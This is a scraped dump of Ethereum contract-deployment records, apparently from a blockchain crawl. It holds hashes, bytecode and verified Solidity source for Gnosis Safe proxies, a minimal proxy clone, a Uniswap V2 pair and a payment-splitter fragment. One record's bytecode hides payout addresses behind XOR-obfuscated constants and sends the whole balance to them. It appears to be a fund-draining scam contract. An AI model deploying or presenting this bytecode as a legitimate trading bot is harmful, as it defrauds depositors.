bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(validatorFromBytes32(accountValidators.at(i)).validator)), "\t", bytes(weiToEther(ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).shares(_account))), "\n")); report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(payee)), "\t", bytes(weiToEther(rpsInst.shares(payee))), "\n")); } // sonst mit iterativ string concat!!! Gas eh egal! // return (abi.encode(report)); return report; // return (abi.encodePacked(report[0], report[1])); } function setVersion(address _validator, uint64 _version) public virtual onlyOwner { versions[_validator] = _version; } function getVersion(address _validator) public view virtual returns (uint64) { return versions[_validator]; } uint256 constant DECIMALS = 18; function weiToEther(uint256 weiAmount) internal pure returns (string memory) { // Calculate the whole part uint256 etherAmount = weiAmount / (1 ether); // Calculate the fractional part uint256 fractionalPart = (weiAmount % (1 ether)); // Pad the fractional part with leading zeros string memory fractionalString = padFractional(StringsUpgradeable.toString(fractionalPart)); // Combine whole and fractional parts into a string string memory result = string(abi.encodePacked(StringsUpgradeable.toString(etherAmount), ".", fractionalString)); return result; } // Helper function to pad the fractional part with leading zeros function padFractional(string memory fractionalString) internal pure returns (string memory) { uint256 length = bytes(fractionalString).length; uint256 decimals = DECIMALS; // Calculate the number of leading zeros needed uint256 padding = decimals > length ? decimals - length : 0; // Construct the padded fractional part bytes memory result = new bytes(padding + length); for (uint256 i = 0; i < padding; i++) { result[i] = '0'; } for (uint256 i = 0; i < length; i++) { result[padding + i] = bytes(fractionalString)[i]; } return string(result); } // function toBytes32(uint64 version, address validator) private pure returns(bytes32) { // return bytes32(uint256(version)) << 160 | bytes32(uint256(uint160(validator))); // } // function validatorToBytes32(Validator memory elem) private pure returns(bytes32) { // return toBytes32(elem.version, elem.validator); // } // function fromBytes32(bytes32 raw) private pure returns(uint64, address) { // uint64 version = uint64(uint256(raw) >> 160); // address validator = address(uint160(uint256(raw))); // return (version, validator);// bytes32(uint256(version)) << 160 | bytes32(uint256(uint160(validator))); // } // function validatorFromBytes32(bytes32 raw) private pure returns(Validator memory) { // // uint64 version = uint64(uint256(raw) >> 160); // // address validator = address(uint160(uint256(raw))); // (uint64 version, address validator) = fromBytes32(raw); // return Validator(version, payable(validator)); // } }
1
19,501,482
339b3d7b88eb944b1d5579a397ae85c61836047ae258eed026236f082d848a76
142ccab4da9d17fda881bbb986f9f41a9506cae42cb7a03cace19cb65723cff0
df25604206114a623fdc689abb2722e143643e92
a6b71e26c5e0845f74c812102ca7114b6a896ab2
56b8a1baf061719c40b06ba1382b327c39674254
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,482
339b3d7b88eb944b1d5579a397ae85c61836047ae258eed026236f082d848a76
3c3d9c661a8d7d9f1fd4573a1a83621eadc24821d8c46dd16cbf3ac3904352d4
72e717817064d051474b08e3b97aae4a9bef5b6b
a6b71e26c5e0845f74c812102ca7114b6a896ab2
d9a9054dd114d1fdbaa34edd5abcc701ef2a2fda
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,487
eb286e6b7dd2512eb11a495de7e1c275deb6612f978f11eda6e42218b59fcb27
87c35e85c855e0962ee670bac487e2e51e33cb22864d666f2a9c2e9b12e8ee80
6bb8b93f3aa35a926744910edc22df5959913090
6bb8b93f3aa35a926744910edc22df5959913090
314e698d93286a6a0d9008d5072c2c8c12db2b44
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0de3920fd48d1c46aabbf1f9d3485cc1c0691c0cac06007557f8a727dc41d83211e47d3c0ded7e9b2ea31dfb3ff8c257ed65836079b1c61fc396008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212200f33d9319df36aa899d5138c3deda04badc0162660ab328401467d809df15bc764736f6c63430008070033
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212200f33d9319df36aa899d5138c3deda04badc0162660ab328401467d809df15bc764736f6c63430008070033
1
19,501,490
6c853ea42cbb9b7d950d1fa3899ab0d005ad69bcacf5d3c128e13bdc7cc31f89
3735d3c6d6995aa2206669436b217d218adfc75e090964aacb7062bbbeacd8a6
0f7ef342d32583e3bbed953fdefe75b33e5581f9
881d4032abe4188e2237efcd27ab435e81fc6bb1
5b75ae254327719a8052692828be6f05b3413c85
3d602d80600a3d3981f3363d3d373d3d3d363d735b2cb6ea4e74dfa79790a318b1fe3f8c08cfb4aa5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d735b2cb6ea4e74dfa79790a318b1fe3f8c08cfb4aa5af43d82803e903d91602b57fd5bf3
1
19,501,495
99469e155c8d534af70a2e514b61da3d6752ea7a9922b360cd5d2094c9d47ef9
b0eea98f26f85c85296f858f2e5f9114018eec251fc8a9dfe409c7b54e045d78
c7d72db60a9f2cb3852f64ad523dfda679f9aa43
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
43a2c87ddc0d4bf917839b2a7a3c60bd21cf9c3f
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121